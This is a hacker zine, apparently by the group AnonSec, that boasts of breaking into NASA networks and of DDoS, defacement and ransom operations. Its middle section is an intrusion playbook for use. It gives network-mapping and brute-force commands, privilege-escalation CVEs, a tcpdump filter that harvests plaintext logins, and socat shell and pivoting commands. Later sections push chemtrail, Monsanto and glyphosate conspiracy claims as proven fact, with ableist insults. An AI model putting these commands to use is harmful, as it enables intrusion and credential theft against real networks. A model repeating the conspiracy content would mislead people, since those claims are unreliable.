

Well here we are, its 2015/2016 and shit has gotten weird... like "No more secrets Marty" weird.

But if there is one thing our team has learned over the past years, its that no one has impermeable OpSec, not even the NSA or GCHQ, e.g. Snowden leaks, ICWATCH, NSA Playset, etc...

Basically, people will ALWAYS be the biggest vulnerability in any networked system.

With that being said, we want to take the time to thank all baby boomer secretaries world-wide, without your lack of training and irresistible urge to open attachments in

spoofed emails from the HR department, this would have never happened lol // Gozi ftw ☹️,,☹️☹️,,\☹️

For those who dont know us, AnonSec was created in Nov 2011 by MrLele(a former AnonGhost admin, now Peshmerga sniper) and AnonSec666(US python programmer). Since our start with two members from Kurdistan and USA; we have come a long way; adding members and associates from the UK, Germany, Japan, Malaysia, Morocco, Indonesia, India, Pakistan, Iraq, Italy, Romania and even Latvia. //shouts to CWA, LizardSquad & TeaMp0isoN || rip alg0d

Here are just a few Operations we either started or were heavily involved in...

==> #OpNasaDrones == hacked NASA's drone servers and ex-filtrated missions data; vid/data logs [possibly prove existence of Chemtrails and their global warming effect(also their bad OpSec of course)]

e.g. - <http://anonhq.com/anonsec-hacked-drone/>

- <https://www.cyberguerrilla.org/blog/anonymous-operation-nasa-drones-anonsec/>

- <http://cyberwarzone.com/anonsec-hackers-claim-hacked-nasa-drones/>

==> #OpBeast/OpNullDenmark == after DDoSing, defacing or rm -rf / 100's of bestiality sites, Denmark finally changed their laws

- <http://www.mirror.co.uk/news/technology-science/technology/anti-bestiality-hackers-target-vile-dog-5310038>

- <http://www.techworm.net/2015/04/anonymous-launch-opbeast-against-animal-cruelty-and-depravity.html>

- <http://www.bbc.co.uk/newsbeat/article/32411241/denmark-passes-law-to-ban-bestiality>

==> #OpDetroit == DDoS servers over Detroit water shutoffs also seized a Detroit govt DB and demanded BTC ransom

- <http://www.rt.com/usa/206663-detroit-bitcoin-ransom-database/> // they never mentioned AnonSec even tho a member was v& over it \*sigh\*

- <http://www.techworm.net/2014/11/hackers-encrypted-entire-city-detroit-database-demanded-ransom-2000-bitcoins-803500.html>

- <http://pastebin.com/raw.php?i=fc5s029B>

- <http://www.usatoday.com/story/news/nation/2014/08/04/detroit-water-shutoffs/13584027/> // Detroit suspended water shutoffs until August 25th, 1 day after we demanded

==> #OpIsrael == once a year we join in the chaos of fucking raping Israeli cyberspace in protest of the current apartheid #FreePalestine

- <https://en.wikipedia.org/wiki/OpIsrael>

- <https://www.rt.com/news/opisrael-anonymous-final-warning-448/>

SURVIVE | CONTEMPLATE | INNOVATE

> 0x02 - TTP(Techniques, Tactics & Procedures)

So yeah, we know what you're thinking, hacking NASA? How fucking cliche...

If only I had a Dogecoin for everytime someone claimed that, amiright?

Its like the boy who cried wolf but with hacking NASA instead lol

But you might be surprised how low govt security standards can be, especially with a limited budget and clueless boomers controlling the network. NASA has been breached more times than most people can honestly remember (our favorites were Gary McKinnon & Mendax's milw0rm)

// you know, when people used to have legit reasons for their hacks^^

Reasons from searching for hidden evidence of UFO technology to protesting use of Uranium based rocket fuel ^\_^

"What the Fuck gives you freedom,  
freedom brings opportunity,  
opportunity makes your future"

However, this hack into NASA wasnt initially focused on drones data and upper atmosphere chemical samples. In fact the original breach into NASA systems wasnt even planned, it was caught up in a gozi virus spread. After purchasing our initial foothold, we were just seeing how many machines we could break into, root and possibly find interesting/profitable data. So Bashtien contacted Dr.d3v1l, an italian hacker who recently hacked and defaced several NASA subdomains. They provided much insight into common CMS's NASA uses as well as potential weak spots in their networks.

Since our first shell in NASA systems just had user acc priv, we were fairly limited as to not only what dirs we could access, the commands we could run and the other machine/devices on the network that should have been visible. Getting root access on this box would be ideal, so that what we went for.

Unfortunately, this box was running the latest version of debian and didnt have any local root CVEs(publicly) and we failed to spear phish the root passwd... luckily MA saved the day with his 2014 bypasses & symlink exploits. With this we were able to simulate root in a new linux directory and run any command. This allowed us to move tools/utls/modules (get-pip.py/eggs)/0days to the box as needed[see scp\_tools.txt]. scp\_tools.txt contains a list of some TTP that were used to accomplish these hacks, its best to make a couple shell scripts for much quicker downloads(scp\_tools.sh).

```

"Assume every network you're on is malicious"

- Samy Kamar

\*Mapping a network can be accomplished a million different ways, depending on the type of box your foothold is. By that we mean; what OS is it, what utils and dependencies does it have already installed, what privileges do you have, is there any IP restrictions? Once we had a symlinked r00t directory filled with tools is when the real fun began... we started mapping their network.

```
+=====+  
| Our General Steps for Mapping & Propagating Laterally Through a Network |  
+=====+
```

1) Once we had access to a box in the network..

[MapNet] Here are just a few simple commands to scan active nodes within a network:

```
arp
nast -m
ip neigh
AngryIpScanner (has GUI)
arp-scan -l -l eth0
ping -b 192.168.1.255
smbtree -NS 2>/dev/null
nbtscan 192.168.1.1-255
fping -a -g 192.168.1.0/24 2> /dev/null
nmap -sP 192.168.1.0/24 or nmap -sn 192.168.1.0/24
for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.1.$ip UP" || : ; done
```

2) Next to get a broader view of their entire network, we started probing whois and reverse-whois lookups on the ip addresses and domain names we found, as well as registrars info(ex. "222 S Mill Avenue" inurl:domaintools). Also running Bluto & fierce.pl to find ip leaks via DNS zone transfers. If scans are fruitful with new hosts found, repeat steps 1&2 on the new addresses. Do this until you cant find any more hosts.

3) Once we started seeing other connected nodes on the same LAN, it was time to run some port scans and do some passive OS/BIOS fingerprinting. (unicornscan && onetwopunch.sh or nmap NSE scripts come in handy here)

4) After mapping some nodes, scanning ports and fingerprinting; we started looking up CVE's for the different versions of operating systems and the various services running.(Linux\_Exploit\_Suggester.pl, unix-privesc-check, nikto.pl, uniscan and CobaltStrike are the best for automating this process)

5) Any system running RDP/VNC/SSH/MYSQL should always be bruteforced because its common for administrators to either

leave the default login or to use an extremely common passwd.

> ALWAYS -e nsr WHEN BRUTEFORCING <

+-+-+ +-+--+--+--+--+ +-+--+ +-+--+--+--+--+ +-+--+ +-+--+--+--+

|l|n| |C|o|m|m|o|n||y| |u|s|e|d| |P|a|s|s|w|o|r|d|s| |W|e| |T|r|u|s|t|

+-+-+ +--+--+--+--+--+--+ +--+--+--+ +--+--+--+--+--+--+ +--+--+--+--+

[22][ssh] login: root password: root

1 of 1 target successfully completed, 1 valid password found in 0.32s

6)\* If the site is being used as a public server or for any type of database storage, it will most likely have a CMS(content management system) with a cpanel. So try running cmsmap.py, wpscan.rb or joomscan.pl.

7)\* If the server has any kind of web application on it, try running wapiti and w3af.

8)\* If there are any firewalls, switches or routers found in the network, try running nipper(SonicWALL lol).

9) Scanners are great for those of us who are either busy or lazy, but they also tend to generate alot of false positive results. One of the most important steps is to use something like dirbuster and manually browse various .xml, .js, .php and php.in files source for SQLi,

XSS, LFI, RFI, FPD, HostHeaderAttacks etc[this requires decent programming and exploitation knowledge to spot possible configuration errors,insecure functions or unsanitized inputs i.e \_SERVER["HTTP\_HOST" ], unserialize(), fopen() , strcmp(), exec(), system(), shell\_exec(), escapeshellcmd(), passthru(), create\_function(), pcntl\_exec(), eval() & many many more!

Here is an example of NASA SQLi and XSS vulnerabilities:

SQLi: <http://prntscr.com/9hekve>

XSS: <http://prntscr.com/9kkc8r> && <http://prntscr.com/9kkcnf>

10)\* If that comes up with nothing then its either brute forcing a login, spear phishing a login with XSS or SEing a login or passwd reset. (hacked VPSs/RDPs, proxies, hydra+wordlists && some burner sims/phones or VoiP servers or hacked Skype accs are a definite must have for this)

11) Always target the most vulnerable nodes first(minus false positives). //They have many WinXP & unpatched Ubuntu servers btw

- WinXP Local SYSTEM privilege escalation: CVE-2013-5065

- Ubuntu Local root exploit: CVE-2014-0038

12) Everytime we gained access to a new box we always left a packet sniffer running to hopefully get some http/ftp/smtp/imap/pop3 logins:

```
tcpdump -i eth0 port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i  
'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|name=|name:|pass:|user:|username  
:|password:|login:|pass|user' --color=auto --line-buffered -B20  
ngrep -q -W byline "GET|POST HTTP"  
dsniff -m
```

\!/ ALWays RUN SC4NS oN N3W BOXes FOR MORE NoDES \!/

13) Pivoting is great for all kinds of things like bypassing firewalls & getting reverse shells w/ statically linked copy of socat to drop on target:

```
target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
```

```
host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
```

```
socat tcp-l:PORT,reuseaddr,fork exec:./getloggedbro.sh
```

```
socat TCP-LISTEN:1337,fork SOCKS4A:127.0.0.1:gmail.com:80,socksport=31337
```

```
socat -v tcp-listen:1337,reuseaddr tcp:nasa.gov:80
```

```
socat tcp-listen:1337,reuseaddr -
```

14) Also installing squid proxies on various rooted linux systems was extremely helpful for quickly bypassing firewalls and network IP restrictions, especially when trying to query login systems only accessible from within NASA facilities.

Before: <http://prntscr.com/9hdrtm> && <http://prntscr.com/9hekh8>

After: <http://prntscr.com/9hdvp2>

15) After a few weeks of repeating this process over&over again on every new box as much as possible, we realized that NASA had many

subnets connected in various ways, creating their own supernet.

Here is a large portion of NASA DNS mapped with a GUI:

<http://prntscr.com/92opiq>

Here is the NFCE(Firefox extension)for verifying logins like PIV smartcards for client side TLS:

[https://etads.nasa.gov/current/NFCE\\_2015.2.xpi](https://etads.nasa.gov/current/NFCE_2015.2.xpi)

## [+] ACE - Aerosol/Cloud/Ecosystem Mission [+]

ACE is a tier-2 Decadal Survey mission focusing on Aerosol, Cloud systems, ocean Ecosystems, and the interactions among them.

ACE will assist in answering fundamental science questions associated with aerosols, clouds, and ocean ecosystems, by making improved

and more comprehensive measurements through the use of innovative and advanced remote sensing technologies.

Aerosols measured by ACE

include those of both man-made and natural origins, the latter of which is contributed significantly by ocean ecosystems.

For aerosols, ACE seeks to distinguish aerosol types and associated optical properties and size. For cloud systems and processes, ACE

will measure profiles of cloud hydrometeors, distinguishing cloud droplets and raindrops, and ice crystals and snow, including profile

measurements of particle size and cloud optical properties. The properties and behaviors of cloud hydrometeors are known to change in

the presence of aerosols while clouds are also known to significantly process and alter the aerosols population.

Instruments

CRIS (Cosmic Ray Isotope Spectrometer)

SIS (Solar Isotope Spectrometer)

ULEIS (Ultra Low Energy Isotope Spectrometer)

SEPICA (Solar Energetic Particle Ionic Charge Analyzer)

SWIMS (Solar Wind Ion Mass Spectrometer)

SWICS (Solar Wind Ionic Composition Spectrometer)

EPAM (Electron, Proton, and Alpha Monitor)

SWEPAM (Solar Wind Electron, Proton, and Alpha Monitor)

MAG (Magnetometer)

RTSW (Real Time Solar Wind)

## [+] RADEX - Radar Experiment [+]

Radar Definition Experiment (RADEX) is a campaign for the ACE Mission.

to obtain data that will advance the development of radars to monitor clouds from space. The information that is

collected will be used jointly with NASA's Olympic Mountain Experiment (OLYMPEX), which is verifying rain and snowfall

observations made by the GPM satellite mission.

#### [+] ARISE - Arctic Radiation IceBridge Sea&Ice Experiment [+]

Acquire well calibrated data sets using aircraft and surface-based sensors to support the use of NASA satellite and other assets for developing a quantitative process level understanding of the relationship between changes in Arctic ice and regional energy budgets as influenced by clouds.

Specific Objectives:

1. From the NASA C-130, measure spectral and broadband radiative flux profiles, quantify surface characteristics, cloud properties, and other atmospheric state parameters under a variety of Arctic atmospheric and surface conditions (including open water, sea ice, and land ice), and coinciding with satellite overpasses when possible.
2. Acquire detailed measurements of land and sea ice characteristics to help bridge a gap in NASA satellite observations of changing Arctic Ice conditions.
3. Utilize surface-based targets of opportunity to complement ARISE sampling strategies with the NASA C-130, including long-term monitoring stations, research vessels, and other surface and aircraft in-situ measurement campaigns that provide corresponding information on surface conditions, radiation, cloud properties and atmospheric state.

#### [+] ATTREX - Airborne Tropical Tropopause Experiment [+]

Despite its low concentration, stratospheric water vapor has large impacts on the earth's energy budget and climate. Recent studies

suggest that even small changes in stratospheric humidity may have climate impacts that are significant compared to those of decadal

increases in greenhouse gases. Future changes in stratospheric humidity and ozone concentration in response to changing climate are

significant climate feedbacks.

While the tropospheric water vapor climate feedback is well represented in global models, predictions of future changes in stratospheric

humidity are highly uncertain because of gaps in our understanding of physical processes occurring in the Tropical Tropopause Layer

(TTL, ~13-18 km), the region of the atmosphere that controls the composition of the stratosphere. Uncertainties in the TTL chemical

composition also limit our ability to predict future changes in stratospheric ozone.

Airborne Tropical Tropopause Experiment (ATTREX) will perform a series of measurement campaigns using the long-range NASA Global Hawk

(GH) unmanned aircraft system (UAS) to directly address these problems.

Contact: eric.j.jensen@nasa.gov 650.604.4392

#### [+] DC3 - Deep Convection Clouds & Chemistry [+]

The Deep Convective Clouds and Chemistry (DC3) field campaign is investigating the impact of deep, midlatitude continental convective

clouds, including their dynamical, physical, and lightning processes, on upper tropospheric (UT) composition and chemistry. The campaign

is making use of extensively instrumented aircraft platforms and ground-based observations.

Goals:

To quantify and characterize the convection and convective transport during active convection, investigating

- a) storm dynamics and physics,
- b) lightning and its production of nitrogen oxides,
- c) cloud hydrometeor effects on wet scavenging of species, and
- d) chemistry in the anvil.

To quantify the changes in chemistry and composition after active convection, focusing on

- a) 12-48 hours after convection and
- b) the seasonal transition of the chemical composition of the upper troposphere.

#### [+] HS3 - Hurricane and Severe Storm Sentinel [+]

The Hurricane and Severe Storm Sentinel (HS3) is a five-year mission specifically targeted to investigate the processes that underlie hurricane formation and intensity change in the Atlantic Ocean basin. HS3 is motivated by hypotheses related

to the relative roles of the large-scale environment and storm-scale internal processes. HS3 addresses the controversial role of the Saharan Air Layer (SAL) in tropical storm formation and intensification as well as the role of deep convection in the inner-core region of storms. Addressing these science questions requires sustained measurements over several years

due to the limited sampling opportunities in any given hurricane season. Past NASA hurricane field campaigns have all faced

the same limitation: a relatively small sample (3-4) of storms forming during the campaigns under a variety of scenarios and

undergoing widely varying evolutions. The small sample is not just a function of tropical storm activity in any given year,

but also the distance of storms from the base of operations.

The NASA Global Hawk UASs are ideal platforms for investigations of hurricanes, capable of flight altitudes greater than 55,000 ft

and flight durations of up to 30 hr. HS3 will utilize two Global Hawks, one with an instrument suite geared toward measurement of

the environment and the other with instruments suited to inner-core structure and processes. The environmental payload includes the

scanning High-resolution Interferometer Sounder (S-HIS), the AVAPS dropsonde system, the TWiLiTE Doppler wind lidar, and the Cloud

Physics Lidar (CPL) while the over-storm payload includes the HIWRAP conically scanning Doppler radar, the HIRAD multi-frequency

interferometric radiometer, and the HAMSR microwave sounder. Field measurements will take place for one month each during the

hurricane seasons of 2012-2014.

[+] OIB - Operation Ice Bridge [+]

IceBridge, a six-year NASA mission, is the largest airborne survey of Earth's polar ice ever flown. It will yield an unprecedented

three-dimensional view of Arctic and Antarctic ice sheets, ice shelves and sea ice. These flights will provide a yearly, multi-instrument

look at the behavior of the rapidly changing features of the Greenland and Antarctic ice.

Data collected during IceBridge will help scientists bridge the gap in polar observations between NASA's Ice, Cloud and Land Elevation

Satellite (ICESat) -- in orbit since 2003 -- and ICESat-2, planned for late 2015. ICESat stopped collecting science data in 2009, making

IceBridge critical for ensuring a continuous series of observations.

IceBridge will use airborne instruments to map Arctic and Antarctic areas once a year. The first IceBridge flights were conducted in

March/May 2009 over Greenland and in October/November 2009 over Antarctica. Other smaller airborne surveys around the world are also

part of the IceBridge campaign.

[+] PODEX - Polarimeter Definition Experiment [+]

Teams will collect data during seven flights on the ER-2 – a high-altitude aircraft based at NASA's Dryden Aircraft Operations Facility in

Palmdale, Calif. By virtue of its ability to operate at altitudes up to 70,000 feet above the ground, the aircraft simulates the view from space. The instruments flying on the ER-2 are a new class of polarimeters, an instrument that can give increasingly detailed information about aerosols and clouds. Aerosols are tiny airborne particles from a variety of sources – such as from the tail pipe of a car to dust and sea spray lifted up by the wind. They can stay in the atmosphere for up to a week where they affect human health, cloud formation, precipitation and Earth's radiation budget. But the complex nature of aerosols and clouds poses challenges in deciphering their influence on climate.

#### [+] NEXRAD - Next Generation Weather Radar [+]

The Next Generation Weather Radar (NEXRAD) system currently comprises 160 sites throughout the United States and select

overseas locations. The NCEI archive includes the base data, called Level-II, and the derived products, called Level-III.

Level-II data include the original three meteorological base data quantities: reflectivity, mean radial velocity, and spectrum

width, as well as the dual-polarization base data of differential reflectivity, correlation coefficient, and differential phase.

-- From the Level-II data, computer processing generates numerous meteorological analysis products known as Level-III data. All the

National Weather Service (NWS) and several select continental U.S. Department of Defense NEXRAD sites record Level-II data.

The majority of the sites record Level-III products. When NCEI receives the data, it is archived and disseminated.

#### [+] SEAC4RS - Studies of Emissions and Atmospheric Composition, Clouds and Climate Coupling by Regional Surveys [+]

1. To determine how pollutant emissions are redistributed via deep convection throughout the troposphere.

2. To determine the evolution of gases and aerosols in deep convective outflow and the implications for UT/LS chemistry.

3. To identify the influences and feedbacks of aerosol particles from anthropogenic pollution and biomass burning on meteorology and

climate through changes in the atmospheric heat budget (i.e., semi-direct effect) or through microphysical changes in clouds (i.e., indirect effects).

4. To serve as a calibration/validation test bed for future satellite instruments and missions.

Attention will also be given to the influence of biomass burning and pollution, their temporal evolution, and ultimately impacts on

meteorological processes which in turn feed back into regional air quality. With respect to meteorological feedbacks, the opportunity

to examine the impact of polluting aerosols on cloud properties and ultimately dynamics will be of particular interest.

To accomplish the goals of SEAC4RS, two aircraft are required. The NASA DC-8 will provide observations from near the surface to 12 km,

and the NASA ER-2 will provide high altitude observations reaching into the lower stratosphere as well as important remote sensing

observations connecting satellites with observations from lower flying aircraft and surface sites.

[+] C-20A (G-III) - Armstrong [+]

The NASA C-20A (Gulfstream III) is a business jet that has been structurally modified and instrumented by NASA's Armstrong Flight Research Center to serve as a multi-role cooperative research platform for the earth science community and a variety of flight research customers. This particular aircraft, which carried the military designation of C-20A, was obtained from the U.S. Air Force in 2003.

[+] ER-2 [+]

NASA operates two ER-2 aircraft as readily deployable high altitude sensor platforms to collect remote sensing and in situ

data on earth resources, atmospheric chemistry and dynamics, and oceanic processes. The aircraft also are used for electronic

sensor research and development, satellite calibration and satellite data validation. Operating at 70,000 feet (21.3 km) the ER-2

acquires data above ninety-five percent of the earth's atmosphere. The aircraft also yields an effective horizon of 300 miles (480 km)

or greater at altitudes of 70,000 feet. Consequently, ER-2 sensors acquiring earth imagery or conducting atmospheric sounding replicate

spatial, spectral and atmospheric characteristics of data collected by earth observing sensors aboard orbiting satellites.

[+] P-3 Orion [+]

The NASA Goddard Space Flight Center's (GSFC) Wallops Flight Facility (WFF) Aircraft Office operates the NASA Airborne Science

Program's P-3 Orion research aircraft to support airborne science research. Wallops Flight Facility has operated the P-3 since 1991

in support of a variety of scientific studies including ecology, meteorology, atmospheric chemistry, cryospheric research, oceanography,

soil science, biology, and satellite calibration/validation. The P-3 is also used as a technology test bed for new airborne and

satellite instrumentation. The P-3 is a self-sufficient global reaching aircraft that can operate from civilian and military airports

to remote areas of the world in support of scientific studies.

The P-3 is a four-engine turboprop aircraft designed for endurance and range and is capable of long duration flights. The P-3 has

been extensively modified to support airborne science related activities. Aircraft features include zenith ports, three nadir ports

(aft of the wings), and eight P-3 and DC-8 style windows to mount experiments, a tail cone, nose radome and ten mounting locations

on the wings. Most of the fuselage ports are contained within the pressurized cabin environment. The unpressurized bomb bay can be

converted into experimenter ports via a custom fairing. This fairing creates two large nadir ports and several oblique ports for

installation of large sensors and antennas.

A project data system is located on the aircraft and provides aircraft data and video throughout the cabin. This system is also

connected to two satellite constellations and provides uplink/downlink capability, internet access, flight tracking, and instant

messaging between other aircraft and ground assets. Several sensors are connected to the project data system to provide meteorological

and aircraft positional data to experimenters. An engineering data system is also integrated into the aircraft along with an air data

boom to gather pertinent flight test data to determine effects of installations on the aircraft's flight envelope.

The Aircraft Office is committed to providing safe, reliable, and cost-effective platforms for airborne research.

Airborne Science Program - IWG1 Packet Definition.

March 5, 2012

IWG1 Packet Definitions

The IWG1 file is a text file with comma separated values recorded at once per second.

The following is listing of the data parameters in order:

IWG1

TimeStamp (UTC)

Latitude (deg)

Longitude (deg)

GPS\_Alt\_MSL (m)

GPS\_Altitude (m)

Pressure\_Altitude (ft)

RADAR\_Altitude (ft)

Ground\_Speed (m/s)

True\_Air\_Speed (m/s)

Indicated\_Air\_Speed (knots)

Mach\_Number (Mach)

Vertical\_Speed (m/s)

True\_Heading (deg)

Track\_Angle (deg)

Drift\_Angle (deg)

Pitch\_Angle (deg)

Roll\_Angle (deg)

Slip\_Angle (deg)

Attack\_Angle (deg)

Static\_Air\_Temp (C)

Dew\_Point (C)

Total\_Air\_Temp (C)

Static\_Pressure (mbar)

Dynamic\_Pressure (mbar)

Cabin\_Pressure (mbar)

Wind\_Speed (m/s)

Wind\_Direction (deg)

Vert\_Wind\_Speed (m/s)

Solar\_Zenith\_Angle (deg)

Aircraft\_Sun\_Elevation (deg)

Sun\_Azimuth (deg)

Aircraft\_Sun\_Azimuth (deg)

Email: Global Test Range Group

While we know some of the data from the missions is supposed to be made public (like majority of NASA missions) but we inherently don't trust anyone, especially government agencies. So we wanted access to the raw data, straight from the backend servers, to see if they were not publishing some of the data or possibly tampering with the data to cover up results e.g. Processed/Unprocessed or Filtered/Raw folders.

(^^just like Ms Donna Hare told Gary McKinnon about Building 8 of Johnson Space Center)

(^^former Aerospace Contractor for NASA who worked on lunar mapping w/ Top Secret Clearance)

"Hackers, we inherently trust no one, including each other."

> 0x04 - Chemtrails/CloudSeeding/GeoEngineering/WeatherModification

"What I'm about to tell you is top secret. A conspiracy bigger than all of us. There's a powerful group of people out there that are secretly running the world. I'm talking about the guys no one knows about, the ones that are invisible. The top 1% of the top 1%, the guys that play God without permission. And now I think they're following me."

```
+=====+  
| Chemtrails == CloudSeeding == GeoEngineering == WeatherModification |  
+=====+
```

One of the main purposes of the Operation was to bring awareness to the reality of Chemtrails/CloudSeeding/Geoengineering/WeatherModification, whatever you want to call it, they all represent the same thing. NASA even has several missions dedicated to studying Aerosols and their affects on the environment and weather, so we targeted their systems.

- ACE - Aerosol/Cloud/Ecosystem Mission
- ATTREX - Airborne Tropical Tropopause Experiment
- DC3 - Deep Convection Clouds & Chemistry
- NEXRAD - Next Generation Weather Radar
- SEAC4RS - Studies of Emissions and Atmospheric Composition

There is a distinct difference between a contrail and a chemtrail, and any sane person should be able to tell the difference. Contrails, under normal circumstances, dissipate at a constant rate behind the aircraft while maintaining the same length. Chemtrails however, do not dissipate at all, instead they leave streaks across the sky as far as the eye can see. Not only that but since the aerosols are laden with heavy metals and even radioactive material, so they eventually widen and thin into a haze until the entire sky is completely covered. Also note, we are completely aware that under certain weather conditions and aircrafts flying at certain altitudes can create a much longer contrail. However it would still dissipate at a constant rate, not spreadout and cover the sky without ever dissipating, like Chemtrails.

Chemtrails/CloudSeeding/GeoEngineering/WeatherModification, goes back all the way to WWII and the Vietnam War. Here in the video below is an example the US military creating clouds using planes exhaust combined with various chemicals during a Naval exercise. Its said that this was used at sea as a possible defence mechanism.

<https://www.youtube.com/watch?v=rGJvfJUFc9o>

+-----+  
| Former Classified Government Cloud Seeding Projects |  
+-----+

[https://en.wikipedia.org/wiki/Project\\_Stormfury](https://en.wikipedia.org/wiki/Project_Stormfury)

Project Popeye(Motorpool/Intermediary-Compatriot)

[https://en.wikipedia.org/wiki/Operation\\_Popeye](https://en.wikipedia.org/wiki/Operation_Popeye)

Operation Sea-Spray

[https://en.wikipedia.org/wiki/Operation\\_Sea-Spray](https://en.wikipedia.org/wiki/Operation_Sea-Spray)

If the government has had multiple classified CloudSeeding project in the past, why wouldnt they now? The majority of people find this hard to believe for some reason and will call you crazy. In reality the concept of 'crazy' is completely subjective. One persons saint is another persons sinner, you get what im saying. And a persons perception comes directly from their surroundings, and knowledgebase. Hence, people usually think something is crazy when they havent researched it, i.e. ignorance.

If you arent familiar with this topic, we suggest watching/reading some of the PUBLIC information included in the following links such as wiki's, various patents, diagrams, Pentagon video on targeting religious extremist via air dispersal method(chemtrail) and the documentaries on Chemtrails/CloudSeeding/GeoEngineering/WeatherModification.

Public\_Geoengineering\_Documentaries\_and\_Videos.zip

6) Sub-micron size Aluminum particulates used in CloudSeeding are harmful to human respiration

7) Injecting Aluminum & Sulfate Particles into Stratosphere could have drastic impact on Earths Ozone layer

+-----+

| GeoEngineering Quotes |

+-----+

"And by the way its not really a moral hazard its more like free riding on our grandkids..."

- David Keith, GeoEngineer

"Its likely to cause some damage, in some places..."

- Ken Caldeira, GeoEngineer

"Weather control could become a more important weapon than the atom bomb."

- U.S. Presidential Advisory Committee of 1957

So if CloudSeeding, GeoEngineering and WeatherModification are all publicly acknowledged as real, why are Chemtrails discredited when its literally the same exact thing just with a different name? If you acknowledge that

CloudSeeding/GeoEngineering/WeatherModification is real and know that our government is corrupt and does illegal things

in the dark without congressional approval all the time; then why is the theory of chemtrails so hard to believe?

Everyone knows that the aviation company, Evergreen Air, is a CIA owned asset and is involved in such activities.

Just like 9/11, there are piles of evidence that prove these "Conspiracies" are very real.

The issue of GeoEngineering and Genetically Modified Organisms(GMOs) are extremely interrelated.

Here is a patent titled "Stress tolerant plants and methods thereof," that is owned by Monsanto, and seems to address all forms of abiotic stress that weather manipulation and chemtrails can cause:

Monsanto Drought and Abiotic Resistant Corn

<http://www.google.com/patents/US7851676>

"Improvement of abiotic stress tolerance in plants would be an agronomic advantage to growers allowing enhanced growth

and/or germination in cold, drought, flood, heat, UV stress, ozone increases,>>> acid rain, <<< pollution, salt stress, >>> heavy metals, <<< mineralized soils, and other abiotic stresses."

Since organic plants(non-GMO) cant grow in harsh environments like GMOs they are forced to use Monsantos seeds. However

they are Terminator Seeds which means they dont reproduce any usable seeds for the farmer, they have to keep buying more.

So no more independent farmers and Monsanto controls a majority of the food supply through the farmers.

heat/drought/chemicals

GeoEngineering kills normal crops -> Monsanto makes resistant crops -> no more independent farmers, Monsanto owns foodsupply

The government hasnt had to change its mass control method, for centuries...

Hegelian Dialectic

+-----+

| Problem => Reaction => Solution |

+-----+

Highly toxic soil environments cant grow organic food so they need GMO seeds which are resistant but contain toxic chemicals like Glyphosate(which is gene spliced,grafted, into the seeds genetics)

1. Glyphosate is a known endocrine disruptor.
2. Endocrine disruptors can cause organ and neurological damage.
3. Glyphosate damages the mitochondria and its functions
4. Roundup™ and GMOs have shown liver and kidney damage and abnormal behaviour in rat studies.
5. Use of glyphosate on herbicide-resistant crops has skyrocketed since 1995.
6. Incidence, prevalence and deaths due to these diseases has also skyrocketed since 1995(alzheimers/autism/dementia).

RoundUp Lobbyist Saying its "safe" to drink Glyphosate

<https://www.youtube.com/watch?v=ovKw6YjqSfM>

Dullards and normies be like...

Baa.

Yea he conspiracy theorist

I hear he smoke weed                      Baa.

Baa.                      Baa..                      Caitlyn Jenner is a beautiful butterfly

Those are contrails                      |                      I love FOXNEWS, such American

You are crazy                      |                      / GMOs are delicious!

Baa..                      |                      / Baa..

\                      \_ \_                      |                      /

```

\ .-' );\ _ _ _ _ _
\ ( _ .-' );\ _ _ .-' );\ _
,'o"( "SHEEP( _ ( _ )
( _-' ,,'o"( "SHEEP,'o"( "SHEEP" )>
( ( _-' ( _-' )
`-' _ _ _ ( _ _ )
    ||| ||| `-' _ _ _ `-' _ _ _ `-'
        ||| |||   ||| |||

```

We all know these people, the ones who will make up an infinite amount of excuses for any given situation, mostly regurgitated non-sense from our friends at FoxNews lol No amount of scientific evidence or high ranking officials testimonies will change their minds...

We find it staggering how many people still dont believe the federal government is doing this when its already public knowledge that the CIA is funding studies, certain states and countries already have WeatherModification programs in place for the past several years, not to mention all the government whistleblowers. Also other governments are alot more open about their use of weather modification, like China. They admitted to using it during the Olympics as well as trying to make it rain to fight drought, but ended up making a massive snowstorm. Also the fact that the NASA has operation dedicated specifically to study the effects of these chemicals(particles) in the atmosphere [list operations]. At this point if you dont believe in Chemtrails/CloudSeeding/GeoEngineering/WeatherModification, then you are either incapable of using Google, autistic or a paid government disinfo shill (JTRIG).

Most of us in the security field were already aware of this but after the Snowden leaks, it was proven(JTRIG).

<https://theintercept.com/2014/02/24/jtrig-manipulation/>

Also you must understand the Five Eyes have massive state-sponsored armies of paid disinfo agents and trolls all over the internet, much like the web brigades.

[https://en.wikipedia.org/wiki/Web\\_brigades](https://en.wikipedia.org/wiki/Web_brigades)

"Condemnation without investigation is the height of ignorance."

– Albert Einstein

As to the exact motive for all this illegal Chemtrails/CloudSeeding/GeoEngineering/WeatherModification, we can only speculate. There are MANY theories, some completely logical while other are a bit of a stretch.

Possible Motives for Chemtrails/CloudSeeding/GeoEngineering/WeatherModification:

- Solar Radiation Management
- Military Battlefield Dominance
- Complete Population Control
- Control of Food supply via Aluminium Resistant GMO see patients(Monstanto) & Killing Bees
- Profit from Hedged Commodities Insurance; Manipulate Stocks
- Create Economic Instability, food riots from crop failure
- 'Dumb down' populations with hazardous nano particulates of metals
- Depopulation via Massive 'Slow Kill'
- Simulate Biblical Endtimes

...etc...

Sites for monitoring US from satellite imagery:

<http://weather.cod.edu/satrad/>

<http://contrailscience.com/map/>

<https://webdir.nasa.gov>

In the end, its honestly sad that we even have to do all this just to prove something so insanely obvious. Some of our more nihilistic members think that if you cant decipher the difference between a normal contrail and a chemtrail without a bunch of pdfs, videos, and web links then you should just put a brown paper bag over your head and lay down...

(23:35) Bashtien : Bro, you're wayyy off-topic and ranting again lol

(23:36) \* TGab sighs

(23:36) TGab : I know but people need to understand all these issues are connected

(23:36) TGab : Also my rants are all I have left...

(23:37) TGab : Either way, add that shit to the zine but with a warning disclaimer or something haha

(23:37) Bashtien : Beware of Rants?

(23:38) TGab : Yeah, I like that XD

Our ELECTIONS have been replaced with SELECTIONS, thus we must react in order to survive.

The world is not as it seems...

> 0x06 - Russian Roulette

-- From here is where it really got interesting.

